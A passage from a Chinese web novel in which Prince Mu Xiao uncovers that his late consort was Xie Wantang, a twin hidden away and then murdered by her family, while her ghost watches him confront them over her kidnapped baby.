“不,不可能,我没有,王爷明鉴,都是他胡说的,是他胡言乱语,一派胡言。” “是吗?” 慕枭勾唇,他的手,一下下的敲击着桌面。 清冷的声音,让谢婉宁压抑至极。 “王爷……” “公说公有理,婆说婆有理,本王糊涂,实在难分真假。故而,还是请他上来,咱们好好问一问吧。本王眼里不揉沙子,他若说谎,他污你清白,本王剁了他喂狗,为你泄愤。可若是你说谎……” 慕枭的声音顿了顿,他敲击着桌面的手,也骤然停止。 谢婉宁的心都跟着漏了一拍。 只听他继续…… 第35章 吓破胆 “同样,本王也不会手软。” 这话,宛若从慕枭的牙缝中挤出来的,本就已经被吓得心神不宁的谢婉宁,此刻更是被吓破了胆。 这模样,慕枭看的清清楚楚。 坐在椅子上,慕枭紧盯着谢婉宁,半晌都没有动。 魏亭澜说书只说了一小段,心里惦记着慕枭有请,他很快就结束了,奔着楼上来了。 谢婉宁也瞧见了。 眼见着魏亭澜越走越快,谢婉宁真的要吓疯了,她身子都一阵发麻。 魏亭澜敢大张旗鼓的摆台子说书,丝毫不在意她的名节脸面,显然是为了报复她,什么都不在乎了。这种时候,怎么可能再去奢望,魏亭澜能在慕枭面前为她圆谎? 不落井下石,已是难得。 一旦魏亭澜进门,她就彻底完了。 不行,绝对不行。 谢婉宁脑子疯狂乱转,她试图寻求一个良策,为自己解困。 可惜没有! 眼下这种时候,换做其他男人,她还能哄骗,还能引诱,或许还能自救,寻求一线生机。 可慕枭根本就不吃这一套。 她曾经缠着魏亭澜,诱惑魏亭澜的那些手段,在慕枭面前根本无用。 面对慕枭,她寻不到一点自救的法子。 “王爷……” 敲门声响起。 昌伯的声音,也从外面传了进来。 谢婉宁顺着窗子,往下看了一眼,已然看不到魏亭澜的影子了,想来是他已经到门口了。 谢婉宁只觉得,悬在头上的剑轰然坠落,直奔着她而来。 她再也承受不住。 两眼一黑,谢婉宁“砰”的一声,径直栽在了地上。 “啧!” 谢晚棠瞧着,忍不住咂舌。 当年,和魏亭澜私奔离府的时候,谢婉宁一往无前,不顾后果;不久前,和阿娘一起活埋她的时候,谢婉宁心狠手辣,眼睛都不带眨的;连带着刀五的死,知鸢的死,谢婉宁也都不放在眼里…… 明明是个手段残忍,狠辣无情的人,居然也这般脆弱,会被吓晕了。 她也不过如此! 心里想着,谢晚棠侧头看向慕枭。 只见慕枭瞟了眼地上的谢晚棠,动也没动,冷漠至极。 半晌他才看向门口。 “进。” 慕枭也以为是魏亭澜来了。 只是,推门进来的却是昌伯和天明。 天明疾步到慕枭跟前,“王爷,宫里传来消息,两刻钟前,皇上突然晕倒,据说还咳了血。” 慕枭的眸子眯了眯,“怎么会这样?” 皇上龙体康泰,没什么问题,好端端的,怎么会出事? 天明摇头,低声回应。 “太医还在诊治,具体的消息还没传出来,情况如何尚不明朗。” “其他皇子呢?” “大皇子人就在宫里,四皇子也在,咱们接到信儿算快的,但最迟一刻钟,其他人也会陆续接到消息,大约都会进宫候着。” 皇权争夺,自来都是凶残的,几个皇子,无一善茬。 一子错,满盘皆落索。 皇上突然病倒,别管是因为什么,别管是严重还是不严重,这种时候,慕枭都必须进宫候着。 等不得。 明白这一点,慕枭垂眸看了眼地上的谢婉宁。 “将她带回王府,送回畅晚阁,将魏亭澜也一并带回去,严加看管,剩下的等我回府再做安排。” “是。” 天明、昌伯快速应声。 这工夫,慕枭已然起身,奔着外面去了。 慕枭走的急,并没有注意到,隔壁的包厢里,还有一个熟人—— 谢詹杭! 近两日,谢詹杭也从同僚的口中,听说了魏亭澜说书的事。 虽然说书人的故事,十有八九都是胡编杜撰,大家也只是听个乐,纵然有人捕风捉影,非议几句,也掀不起多大的风浪来。但是,谢婉宁的情况特殊,这故事若是传开了,闹大了 ,到底不好。 为了以防万一,他还是过来,想看看情况。 是劝魏亭澜收手,离开京城,还是直接处理了他,让他彻底闭嘴…… 这谢詹杭还没想好。 但他不会坐以待毙就是了。 只是,他没成想,他还来不及动,就先见到了谢婉宁和慕枭。 谢詹杭可不是什么天真的人。 哪怕没进慕枭的包厢,没听到慕枭和谢婉宁的谈话,但光凭慕枭带谢婉宁来了这,他就已经觉察到了危险。 再加上,他之前收到过谢婉宁的求救信。 信上说秘密已被勘破。 可若慕枭真的一早就什么都知道了,他必定会来宁和园,这也是为什么,他那么急切的处理掉了谢晚棠的尸体,不惜下了重手。可到现在为止,慕枭都没有登门,反而来了魏亭澜这…… 显然慕枭还没拿到实证。 那封信,十有八九不是出自谢婉宁之手,而是慕枭对他的试探。 分尸,焚尸…… 他自以为处理干净,永绝后患的一步棋,怕早已被慕枭看在眼里,他大约早就中了慕枭的计,成了慕枭钩上的鱼。 他和谢婉宁情况不妙。 这些事,谢詹杭都在心里想的清清楚楚。 眼见着慕枭离开,行色匆匆,见昌伯和天明将晕厥的谢婉宁带走,连带着魏亭澜,也一并被押走了,谢詹杭不敢耽搁,他带着下人出了万仙楼,上马车直奔永昌侯府。 一进府,谢詹杭就把管家叫了过来,他脚步不停,边走边吩咐。 “快,集结府卫,我有事要吩咐。” “侯爷,可是出了什么事?” “快去。” 谢詹杭不答,只是催促。 见状,管家不敢再耽搁,他即刻去叫人。 谢詹杭则去了书房,他拿了钥匙,直奔侯府库房。 慕枭不是什么良善之辈,心慈手软,更跟他毫不沾边。事情尽数败露,这种时候,想平其怒火,那是痴人说梦。 想要保命,唯有一个人,能让他如愿。 但…… 筹码得足,速度得快! …… 宫门口。 慕枭和一众皇子从宫里出来的时候,已经临近子时了。 夜幕笼罩下,飞檐上的屋脊兽,影子投在地上,像是人心中藏着的暗鬼,一个个的露着獠牙,危险至极。 几个皇子走在一起,各个金尊玉贵,风度翩翩。 但人心如何,却很难说。 出了宫门,众人说了几句,就各自散了。 慕枭也要走,慕昭缠着他说话,一直到马车边上,慕昭还在喋喋不休的念叨,说皇上的龙体。 天明、天晴两个人,都站在马车边上。 看到他们,慕枭微微蹙眉。 两个人,都被他派了差事,这个时候,他们过来,唯一的解释便是,他们的差事办妥了,有事回禀。 “有消息?” “是。” 天明、天晴对视一眼,快速应了一声,不过,因为慕昭在的缘故,他们倒也没急着开口。 慕枭心领神会,他转头看向慕昭。 “时候不早了,你先回吧。” “六哥,什么消息啊?你脸色怎么不大好?是不是有什么事啊?需要帮忙吗?要是有什么需要的地方,六哥你尽管说,我一定竭尽所能。我现在可不是只嘴上厉害的小废物了,我可厉害着呢。” “嗯。” 慕枭点点头,直接上了马车。 天明、天晴两个人也跟上,他们赶车离开。 慕昭看着他们,收敛了面上的玩世不恭,他眸色微微暗了暗。 半晌,他才转身离开。 马车上。 慕枭也不兜圈子,他冷声询问。 “说吧,都查到了什么?” 第36章 谢晚棠 闻言,天明先开口回应。 “王爷,刚刚魏亭澜都已经招了,他在万仙楼说的故事,全都是真的。” “都是真的?” “是。” 天明丝毫不隐瞒,他微微顿了顿,随即解释道。 “据魏亭澜说,三年前他落榜之后,本欲留在京中,一边抄书赚银子,一边备考。那时候,正赶上王爷遇刺受伤。王爷可记得,当时为了布局,曾让太医上禀说伤势严重,以后再也站不起来了?” “与此有关?” “是。” 天明点头,快速继续。 “当时这消息,也传到了永昌侯府嫡出小姐谢婉宁的耳中,她不愿进齐王府,故而诱惑魏亭澜,令其带她私奔逃婚。” 慕枭细想想,也不算太意外。 当时,他特意让太医把伤势往重了说,再也站不起来,成了残废,损了身子,丢了前程,没了指望…… 这种情况下,谢婉宁不愿跟他,也没什么稀奇的。 慕枭想着,就听到天明又道。 “之后,谢婉宁跟着魏亭澜,一路南下,与他过起了小日子。 起初的时候,靠着谢婉宁带出来的银钱,他们的日子过的还算顺遂,但到了半年前,他们手中的银子所剩无几,谢婉宁吃不了苦,对魏亭澜的不满也就越来越多,故而渐渐生了异心。 当时他们住在酉阳。 一次偶然的机会,谢婉宁结识了一个富商,几次接触下来,她就背着魏亭澜,与富商逃了。 魏亭澜不甘心,这才把他们的故事,写成了话本子。 让魏亭澜意外的是,这话本子卖的出奇的好,见此,他就动了心思,开始说书,还来了京城。” 魏亭澜如何,慕枭并不在意。 他在意的是—— “跟在魏亭澜身边的是谢婉宁,那这三年,在齐王府的是谁?” 天明也问过,只是,魏亭澜知道的不多。 “属下问魏亭澜,他说,谢婉宁与他私奔南下后,曾在一次醉酒后,洋洋得意的说,永昌侯会替她善后,还说会有冤大头,来齐王府代她受苦,至于其他的,魏亭澜也不知道。” “属下知道。” 几乎是在天明话音落下的瞬间,天晴就开了口。 慕枭闻声,快速看向天晴。 “说。” “跟在王爷身边的女子,是永昌侯的另一个女儿,名叫谢晚棠。” “谢晚棠!” 慕枭闻言,低声呢喃。 明明自来冷清的人,这一刻,眼中却止不住的泪意翻滚。 难怪当初,床榻之上,他轻唤她“宁儿”的时候,她那么抗拒,而是央他唤她“晚晚”。 顶着谢婉宁的身份,在他前程最无望的时候,进齐王府跟了他,不但无名无分,甚至于连自己的名字都没了。 晚晚—— 这大约是她最后的抗争了。 慕枭心疼的厉害。 谢晚棠一直跟在慕枭身边,听着他的低喃轻唤,瞧着他痛苦又怜惜的模样,她那颗早已经被伤的千疮百孔的心,忍不住颤了颤。 她的眼泪,簇簇的往下落,根本止不住。 她高兴。 高兴于真相一点点被揭开,慕枭知道了她的身份,高兴于慕枭心里有她,怜她疼她。 她也难过。 难过于活着的时候,没能在慕枭跟前做一次自己,没能以谢晚棠的身份面对他,从始至终给他的好与坏,都掺杂了谎言。难过于一切都来的太晚,阴阳相隔,情不愿断,却不得不断。 谢晚棠一颗心像是被揉碎了似的,疼也辗转反复。 这时,他就听慕枭哽咽的询问。 “她也是谢詹杭的女儿?” “是。” 天晴点头,眼睛里也微微泛起了一抹红,语气中带着嘲弄。 “晚棠小姐也是永昌侯的嫡女,是谢夫人所出,与谢婉宁是孪生姐妹。据属下查到的当年接生的稳婆说,晚棠小姐只比谢婉宁晚出生一盏茶的工夫。但就是这一盏茶的工夫,毁了她的一生。” 慕枭拳头攥紧,眼神阴鸷。 谢晚棠泣不成声。 天晴道,“据说,在谢婉宁出生后,有满天霞光入宅,似是大吉之相。永昌侯大喜,当即便让人请来大师,为谢婉宁批字算命。可是,大师一来就说,谢婉宁一生受宠,晚棠小姐生来带灾。 这话,让永昌侯和永昌侯夫人上了心。 在晚棠小姐生下来的第三日,她就被永昌侯扔进了侯府西南角的一个破落院子里,一关就是十几年。 对外,永昌侯府只承认谢婉宁一个女儿,并不承认晚棠小姐。 所以除了伺候她的沈嬷嬷,没人知道她的存在。 连带着晚棠这个名字,也是沈嬷嬷起的。 不敢用‘婉’字,沈嬷嬷用了“晚”,而棠则是因为她住的那个破落院子里,有一树秋海棠。 三年前,谢婉宁与人私奔,拒绝入齐王府。 而永昌侯当时得罪王爷,也说好了要往齐王府送人,他怕再因为这事惹恼了王爷,这才把晚棠小姐放出来,他以沈嬷嬷的命做要挟,逼晚棠小姐顶着谢婉宁的身份,进了齐王府。” “咔!” 慕枭攥紧的手,用了大力。 他拇指上的玉扳指,硬生生被他捏断了。 断口划破慕枭的手指,血,顺着伤口处冒出来,流了他一手。 谢晚棠见状,忙靠过来。 她想伸手去帮慕枭处理伤口,她想告诉他,那些都已经过去了,不重要了,没必要为了这点事伤了自己。 可是,她这几乎透明的魂魄,什么都做不了。 她无能为力。 谢晚棠心疼。 但慕枭却根本感觉不到疼。 谢晚棠进齐王府三年,她是死是活,过的好还是不好,谢詹杭从来都没过问过,而谢婉宁进府不过月余,谢詹杭就出手为她筹谋争宠,这其中的差别显而易见。 慕枭知道谢晚棠大抵是不受宠的。 可是,他怎么也没想到,她会不受宠到这种地步。 灾星? 简直荒唐! 慕枭抬眸看向天晴,“晚晚在永昌侯府,过得很不好,是吗?” “是,除了沈嬷嬷,谢家没人在意她。” 明知道答案,可慕枭还是忍不住问了一句,而问了这一句后,他的心更痛的窒息。 难怪他的晚晚,喜欢做些家常小菜,说那更有家的味道。 难怪她那么渴望家,渴望家的温暖。 因为她没有家。 没享受过那种温暖。 可是,一直到死,他都没能给她一个家,没能给她一个名分,没能让她重新做回她自己。 慕枭怨自己,他恨自己发现这一切发现的太晚。 “晚晚……她……是怎么没……没的?” 慕枭询问。 短短一句话,他停顿了几次。 天晴的眼角也染上了泪意,怕慕枭看到,他侧过头,忙用手把泪珠子擦掉。 “谢婉宁遇上的富商,并不是什么良善之辈,她跟了那富商只十日,就被富商卖进了花楼里。还是永昌侯府的下人南下办事,逛花楼的时候,无意中遇见了她,这才把她带回了京城。 知道王爷身子恢复了,晚棠小姐也在齐王府过得不错,还怀了小公子,她心生嫉妒。 她后悔了。 故而,在晚棠小姐生子半月后,她央着永昌侯夫人以身子有恙为由,将晚棠小姐骗回了永昌侯府。 她和永昌侯夫人,她们……” 天晴哽咽。 活埋两个字,他说不出口。 谢晚棠死前经受的那些折磨,他更是不忍想,不忍提。 说不下去,天晴红着眼睛看着慕枭,长呼了一口气,他道,“王爷,属下带你去见一个人,你见了她,就都明白了……” 第37章 百日恩 齐王府。 慕枭回来,便在天晴的带领下去了花厅。 一进来,慕枭就瞧见一个老嬷嬷,蜷缩在桌子底下,她警惕的看着给她递糕点的昌伯,慌乱的直往桌子底下缩。她头发花白,脸上有好几道伤痕,一身土灰色的衣裳,也破了好几处,狼狈的紧。 “她是……沈嬷嬷?” 慕枭看着老嬷嬷,下意识的问出了自己的猜测。 天晴不是无的放矢的人。 这种时候,天晴能带他来见的,也就只有曾经伺候谢晚棠,并成为谢晚棠软肋的沈嬷嬷了。 听着慕枭的话,天晴轻轻点头。 “王爷睿智,此人就是晚棠小姐身边的沈嬷嬷。” “她怎么会变成这样?” “是被急疯的。” 天晴丝毫不隐瞒,他冲着慕枭道。 “她见证了晚棠小姐离世的整个经过,她想救人,却求而不得,被硬生生给急疯了。” 一边说着,天晴一边走向沈嬷嬷,他从昌伯手里将糕点拿过来,蹲下身子往沈嬷嬷身边凑了凑。 伸手将糕点递给沈嬷嬷,天晴低喃。 “嬷嬷,吃糕点了。” 看着天晴,沈嬷嬷眼神呆滞,她歪着头思量半晌,转而惊恐的摇头。 “呜……呜呜呜……呜呜呜……” 沈嬷嬷哭嚎不止。 紧接着,她的身子又往桌子里缩了缩。 天晴叹息,声音也放柔和了些,“沈嬷嬷,这是晚棠小姐让属下给嬷嬷准备的糕点,是晚棠小姐亲手做的,嬷嬷尝尝可还喜欢?” 晚棠小姐…… 听到这几个字,沈嬷嬷呆滞浑浊的眼神,有那么瞬间的清明。 她满是惊恐的脸上,也缓缓爬上一抹笑。 可这笑还没及眼底呢,就在转瞬之间,又被极度的恐慌和心疼取代了。 沈嬷嬷摇头,“不……不是,不是。” “沈嬷嬷……” “你们又想骗老奴,又想利用老奴去害晚棠,你们都不是好人,你们都是恶鬼,你们都不得好死。” 碎碎的念叨着,沈嬷嬷抱着桌腿,咯咯直笑。 “你们再也骗不了老奴了,老奴再也不会上当了,不会了。” “沈嬷嬷,真的是晚棠小姐……” “你闭嘴。” 天晴还想开口,就被沈嬷嬷的吼声给打断了。 沈嬷嬷死死的盯着他。 “别骗我了,我是不会上当的,你们活埋了晚棠,你们扒了她的衣裳,绑着她的手脚,你们划烂了她的脸,把她推进土坑里,就那么活埋了她。我都瞧见了,我什么都瞧见了,你们都是杀人不眨眼的恶魔,都是恶魔,恶魔……” 沈嬷嬷嘶吼。 她用头,一下下的撞击桌子。 哪怕是疯癫状态,愧疚和自责,还是填满了她的心。 “都怪我,都怪我,都是为了我,她都是为了我啊,要不然她不会受制于人,她不会死的,不会的。” “嬷嬷……” “报仇,报仇,报仇!” 沈嬷嬷念叨着,下一瞬,她整个人直接冲着天晴扑了过来。 她头撞到了桌子,额头瞬间肿了一块。 可她浑然不觉。 扑向天晴,沈嬷嬷伸着手,去掐天晴的脖颈,她带着伤痕的脸,暴怒的几近狰狞扭曲。 “害了晚棠,都该死,都该死,活埋,活埋,埋,埋……” 沈嬷嬷一遍遍的吼。 天晴不但不还手,还小心翼翼的护着沈嬷嬷。 他手中的糕点掉落在地上,沈嬷嬷就抓着那些糕点,像是在抓一抔又一抔的黄土,用力砸向天晴的脸。 “活埋,天理昭昭,报应不爽,以其人之道,还治其人之身,你们活埋了晚棠,我就活埋了你们,一个也不放过,一个也别想逃,都得死,都该死,该死,该死。” 完全沉浸在恨意里,沈嬷嬷疯狂的乱吼。 慕枭看着眼眶发红。 为沈嬷嬷。 更为谢晚棠。 难怪之前他问天晴,谢晚棠是怎么死的,天晴不忍开口,而是要带他来见沈嬷嬷,还说一看便知。 原来,谢晚棠死的这般惨。 被羞辱,被毁容,被活埋—— 慕枭心像是被揉碎了一般,血气上涌,一时间,他嘴里全都是血腥味,他硬撑着,才将那味道给咽下去。 他脑海里,都是之前在景溪别院看到的谢晚棠的尸体。 活着的时候,被那般凌虐。 死后,又被那般对待。 谢家人……全都该死! 慕枭快步上前,轻轻拉住沈嬷嬷的手,将她搀扶起来。 “嬷嬷,我会为晚晚报仇的。” 沈嬷嬷歪头看他。 慕枭努力勾了勾唇,他用尽全力,才在那张近乎被恨意冰封的脸上,挤出一抹惨淡的笑来。 他红着眼睛,轻轻抬手,为沈嬷嬷理了理凌乱的头发。 再开口,他语气温柔又坚定。 “嬷嬷,我叫慕枭,我是晚晚的夫君,是她孩子的父亲。晚晚吃的苦,我都已经知道了,嬷嬷你说的对,天理昭昭报应不爽,伤害她的人,全都该死,一个也不能放过。这些都交给我,给我一日时间,好吗?” “慕……” “慕枭,晚晚的夫君。” 见沈嬷嬷反应困难,慕枭又重复了一次。 许是“晚晚的夫君”几个字,打动了沈嬷嬷,疯癫如她,有那么瞬间的清醒。 猛地抓住了慕枭的胳膊,沈嬷嬷身子一软,就冲着慕枭就跪了下来。 “一日夫妻百日恩,你是晚棠的夫君,对她总归是有几分情意的,你帮帮她,她死的好惨,你帮她报仇,求你帮她报仇。老奴求你了,老奴给你磕头,磕头,求你,求你帮她,帮她……” 沈嬷嬷一边哀求,一边就冲着慕枭磕头。 她动作极快。 “砰!砰!砰!” 几乎是转瞬之间,沈嬷嬷就磕了好几下,她用了全力,额头直接磕出了血。 血顺着她额头流下来,让她更添了几分狼狈。 慕枭心酸。 而这时刚进来的谢晚棠,瞧着这一幕,她更心疼。 自打三年前开始,谢晚棠就没再见过沈嬷嬷,她知道,谢詹杭为了控制她,一直囚禁着沈嬷嬷,每半年,谢詹杭都会让沈嬷嬷传一封报平安的信给她,也警告她一定要老实,不然沈嬷嬷性命难保。 被囚禁的日子什么样,谢晚棠太清楚了。 她知道,沈嬷嬷受她拖累,这三年,过得必定算不上太好。 可她也没成想,沈嬷嬷会变成这样。 在她记忆中,那么温柔,那么和蔼的沈嬷嬷,此刻,却疯癫又无助,她脆弱的宛若秋末的枯叶,风一吹就会凋落,就会破碎。 谢晚棠心疼。 她看着沈嬷嬷那一瞬,心几乎是被放在了火上炙烤。 但是,她很清楚,沈嬷嬷到了慕枭身边,就算解困了,慕枭必定会善待她,会让她过些舒坦日子。 沈嬷嬷的往后,她不需要担心。 眼下她担心的是孩子。 “王爷……” 魂魄冲到慕枭身边,谢晚棠伸手去拉他。 手,瞬间虚无。 拉不到慕枭,谢晚棠急的要命,她扯着嗓子喊,试图让慕枭听见。 “王爷,快去救我们的孩子,谢婉宁被谢詹杭的人带走了,她走时还带走了我们的孩子。谢婉宁就是个疯子,仗着有谢詹杭善后,她什么都敢做,孩子落到她手上,太危险了。王爷,王爷,救救孩子,你听到没有,快去啊,王爷……王爷……” 谢晚棠喊得歇斯底里。 哪怕她知道,阴阳相隔,慕枭未必会听到她的求救。 可是,之前慕枭也曾抱过她的,那么真切的拥抱,那么温暖的胸膛,让她心存念想。 也或许,慕枭这次就能听见呢? 第38章 护身符 只是,有的念想,终究是妄想,想着的时候固然美好,可结果却不尽如人意。 谢晚棠的喊声,慕枭根本听不到。 孩子的危机,慕枭也还全然不知。 谢晚棠急得团团转。 见实在叫不动慕枭,谢晚棠索性也不多耽搁,红着眼睛看了沈嬷嬷一眼,她转身就飘走了。 她得去跟着谢婉宁,还有谢詹杭他们。 她得去守着孩子。 …… 永昌侯府。 谢晚棠一路跟着谢婉宁过来,孩子一直在哭,她的心都要被哭碎了。 侯府里,谢詹杭和谢夫人已经在宁和园等着了,见谢婉宁回来,他们急忙迎上来。 “宁儿,你怎么样?” 谢夫人抓着谢婉宁的手,急切的询问。 她的目光,不断在谢婉宁身上逡巡打量,她生怕谢婉宁受伤。 谢婉宁知道谢夫人担心什么,她泪眼婆娑的回应。 “娘,我没事,齐王还没来得及逼问我,没来得及做什么,就进宫了,我晕倒之后又装晕,他们不敢碰我,也没机会审问我,我算是逃过了一劫,我还好。” “那就好,那就好。” 谢夫人长舒了一口气。 悬着的心放下些许,她转头看向谢詹杭。 “侯爷,齐王不是省油的灯,眼下宁儿虽然逃过了一劫,可一旦他发难,终究还是麻烦。依我看,咱们还是趁着时候还早,先送宁儿离京避祸吧。” 谢夫人说完,也不等谢詹杭回应,她忙掏了一大堆银票,塞进谢婉宁手里。 “宁儿,这些你拿着,路上总归有用。” “嗯。” 谢婉宁点头接过银票。 她也想逃。 这京城,她一刻也不想多待了,她怕再见到慕枭,怕再被慕枭掐着脖子威胁质问。 那种濒临死亡的感觉,真的太可怕了,她再也不想体会了。 而她也知道外面的日子有多苦。 有银子,万事好说,可若是没有银子,那衣食住行都可能出问题,寸步难行,危险也会随之而至。 她也不想再尝那种滋味了。 心里想着,谢婉宁将银票攥紧收好,她转而看向谢詹杭。 “爹,什么时候可以送我走?” “已经在安排了。” “好。” 谢婉宁长舒了一口气,她转头看了看身后跟着的黑衣人,这是谢詹杭的心腹,就是他将她从齐王府带出来的。 谢婉宁看向他怀里,他抱着的,正是谢晚棠和慕枭的孩子。 谢婉宁冲他伸手。 “给我。” “是。” 黑衣人应声,将孩子递给谢婉宁。 谢晚棠的魂魄,瞧着这一幕,心都提到了嗓子眼,她不知道谢婉宁要做什么,可她能够察觉到危险。 她想上去抢孩子。 可终究不能如愿。 谢婉宁抱着孩子,到谢詹杭和谢夫人跟前。 一看孩子,谢夫人便脸色难看,“怎么把他也带来了?灾星生的孩子,也是个小灾星,把他带进府来,也不怕给侯府添晦气,给你自己添灾祸。” 谢夫人的话刺耳。 谢晚棠听着,心痛的要命。 谢夫人不喜欢她,嫌恶她,她可以接受,可是她的孩子有什么错,何苦这么说一个孩子? 谢夫人可不知道谢晚棠在,心里又是如何想的。 当然,即便知道,她也不在意。 甚至是变本加厉。 谢夫人看向黑衣人,冷声吩咐,“赶紧把这晦气的玩意带走,齐王本就是个活阎王,这孩子进了咱们府,还不得让他变成条疯狗,冲到咱们府里来咬?送走送走,别惹麻烦。” 黑衣人闻声,看向谢婉宁。 谢婉宁抱着孩子不但没松手,反而将孩子抱得更紧了些。 “娘,不能送走。” “宁儿……” “娘,慕枭不好惹,就算爹为我苦心安排,我也未必就一定能全身而退。为了活命,我需要一个护身符,而这孩子,就是我手上能握住的最好的筹码,我怎么可能放手?” 这些事,谢婉宁早就想明白,她说完侧头看了看谢詹杭。 谢詹杭倒是没反驳。 “带着也好。” 到底是慕枭的孩子,他心里总归是在意的。 而慕枭若是在意谢晚棠,那就必然也会爱屋及乌,自然的,他对孩子的在意也就更甚了。 在乎,就是软肋,就是短处。 谢婉宁将孩子带在身边,的确可以为她求一线生机。 比没有强。 谢詹杭轻叹了一口气,他也没再兜圈子,将自己的安排,都告诉了谢婉宁。 “孩子带着吧,我的人会护送你离京,一路南下,不过到安阳之后,就会再转路北上,回到京城附近。最危险的地方就最安全,灯下黑,从来都不失为一个好策略。避过了这个风头,等之后再去哪,你自己安排,不必告知我,也不必告知任何人,你万事小心就是了。” “多谢爹。” “记住,以后你不再是谢婉宁,舍弃了这重身份,才更安全,你也不再是我的女儿,不再是永昌侯府的小姐,多收敛些才好。” 谢婉宁闻言,抱着孩子的手骤然收紧。 她力道太大了,以至于孩子疼的难受,哭的厉害。 谢晚棠急。 她伸手又去抢孩子。 然而,这对谢婉宁造不成任何伤害,谢婉宁只是冷眼看着谢詹杭。 “爹,我永远都是永昌侯府的人,是爹的女儿,是谢婉宁。这身份,我舍不了,这情,咱们也断不了。” 她不喜欢谢詹杭这话,她不想像破烂的抹布,被谢詹杭丢掉。 她不甘心。 她又不是谢晚棠那个灾星,何至于这般被嫌弃? 她不喜! 谢婉宁什么意思,谢詹杭懂,看着她,谢詹杭只觉得她愚蠢。 可时间不等人,眼下,他已经没有时间,跟谢婉宁掰开揉碎的去讲那些道理了。 谢詹杭没应谢婉宁的话,他只是轻声开口。 “走吧。” 没有拒绝,就是答应了。 谢婉宁稍稍安心。 虽然她也不确定,什么时候才能风平浪静,才能转危为安,但是,她心里终究还是盼着重回侯府的。她生来就天降祥瑞,霞光满天,她自来受宠,她也该过好日子的。 她不想自己就终结在犹如丧家之犬,落荒而逃这一日。 她还盼着以后呢。 心里全是盘算,对上谢詹杭的眸子,谢婉宁轻轻点头。 “好。” 谢婉宁应声,抱着孩子跟上谢詹杭,一起往外去。谢夫人见状,也心急的跟着,想要送一送女儿。 这一次,可不比三年前。 这一别,再相见就不知道是何时了。 谢夫人舍不得。 只是,他们才走了没几步,还没见到谢詹杭安排的护送谢婉宁的人呢,他们就见管家急匆匆的走了过来。 “侯爷,不好了,齐王带着人来了。” “什么?” 谢婉宁吓的腿软,她差点栽倒。 而谢晚棠,则喜极而泣。 慕枭终于来了,她拦不住谢婉宁,救不下孩子,但是慕枭一定可以。 一定可以! 谢晚棠心里想着,就见谢詹杭眸色沉沉,他抬手抓住谢婉宁的手臂,稳住她的身形。 “别慌。” “爹,慕枭来了,他不会放过我的,我……” “我说了,别慌。” 止住谢婉宁的话,谢詹杭拍了拍她的肩膀。 “别怕,爹还为你安排了后路,纵使是天王老子来,也伤不了你分毫,他慕枭,也动不了你……” 第39章 枕边人 谢晚棠完全处在了震惊中。 她没想到,到了这种时候,谢詹杭居然还会为谢婉宁留后路,会为谢婉宁善后。 都道父爱如山。 此刻,谢詹杭倒是一副可为儿女遮风挡雨的慈父模样。 这跟背对着她的尸体,口念佛语,却要求死士分尸、焚尸的他,简直判若两人。 谢詹杭对谢婉宁的好,又何尝不是一种残忍? 谢晚棠恨。 但谢婉宁却高兴的要命。 “宁儿多谢爹爹,”喜上眉梢,谢婉宁急声回应,她也没忘了询问,“爹,你是怎么做到的?有把握吗?那慕枭可不是好相与的主,发起火来,杀人不眨眼,真的能行吗?” “嗯。” 谢詹杭点头。 “放心,人外有人,天外有天,他固然厉害,但总归上头还有人呢,他还不能为所欲为。” 没有细说,可一句“人外有人”,却让谢婉宁放心不少。 她心中隐隐有了猜测。 他们父女俩说话这工夫,慕枭已经带着人,进了永昌侯府。 慕枭穿着一身玄色的锦袍,手中提着一把剑,一如他的模样,通体发黑,在暗沉的夜色中,透着一股杀气。 天明、天晴紧随其后。 再之后,是十来个齐王府的府卫。 看着这阵仗,几乎被恨意吞没的谢晚棠,心头不禁一松。 她了解慕枭的功夫,就算是慕枭单枪匹马,只要他来,孩子大抵就会平安。更别说还有天明、天晴两人陪同,还有那么多的府卫在。 她的孩子,会平平安安的。 一定会。 谢晚棠双手合十,一遍遍的在心里祈祷。 她飘到慕枭身侧,与慕枭并肩站着,她紧盯着慕枭,目光灼灼。 谢詹杭微微上前一步,不着痕迹的将谢婉宁护在身后,他看向慕枭,像是个没事人似的,言笑晏晏。 “臣参见王爷,不知王爷深夜带人闯府,这是何意?” “永昌侯不知?” “臣不知。” “呵!” 谢詹杭开口说谎,脸不红心不跳,慕枭听着,不禁哂笑。 “都说官字两张口,永昌侯这张嘴,胡说八道,本事卓然,还真是让本王大开眼界。” “王爷,臣的确不知是哪得罪了王爷。” “那本王告诉你。” 一步步走向谢詹杭,慕枭周身的杀气毫不遮掩。 “永昌侯,你纵容永昌侯夫人谢氏,嫡女沈安宁,杀了本王的王妃,还抢夺本王的嫡长子,冒犯皇家,冲撞皇族,其罪当诛。你谢詹杭徇私舞弊,埋尸分尸,纵刁奴强闯齐王府,知法犯法,罪加一等。这些,难不成永昌侯都想用一句‘臣不知’给抹平了?” 一字一句,冷冽至极。 那滚滚而来的杀气,就像是风卷黄沙,迎面砸在谢詹杭的脸上。 他倒是不至于怕。 可他震惊。 慕枭说“本王的王妃”!说“本王的嫡长子”! 当初,谢晚棠是被一顶小轿抬进齐王府的,没有婚事,没有名分,甚至连纳妾都算不上,谢晚棠和那孩子,自然是配不上这样的称呼的。 可既然慕枭开了口,想给谢晚棠一场婚事,想给那孩子一个名正言顺的身份,又有何难? 如果谢晚棠还活着,那他就真成了慕枭的岳丈。 地位显赫,前程可期。 可偏偏谢晚棠已经死了! 看着慕枭,听着那些质问,谢詹杭一时间有些不知该如何开口。沉浸在自己的思绪中,他也忘了辩驳。 同样,谢晚棠也有些意外,她没想到,慕枭会这么说。 王妃—— 身份地位,谢晚棠不在乎。 可她在乎慕枭的情意,在乎他清冷外表下,对她浓烈的好,那就像是寒冰包裹的火种,炽热温暖,带着希望。 谢晚棠遗憾,要是她能早点知道慕枭的心,也早点认清自己的心,那该多好! 要是她能多活几年,能活着听到慕枭这话…… 那该多好! 慕枭不知谢晚棠的心思。 他看着谢詹杭,见谢詹杭不回应,他也不在乎。 左右所有的事情,都已经调查清楚了,谢詹杭回应与不回应,在他这,其实都是一样的。 慕枭冷眼看向谢詹杭身后的谢婉宁。 “孩子给本王。” 闻言,谢婉宁抱着孩子,下意识的往后退了退,与慕枭拉开距离。为了防止慕枭对她动手,她将孩子竖抱着,尽量挡在了自己身前。 这一幕,让本就满心怒火的慕枭睚眦欲裂。 他猛地提剑对准谢婉宁。 “别让本王说第二次。” “王爷!” 谢夫人瞧着慕枭准备动手,忙长开双臂,挡在谢婉宁身前。 她红着眼睛,满眼哀求的看着慕枭。 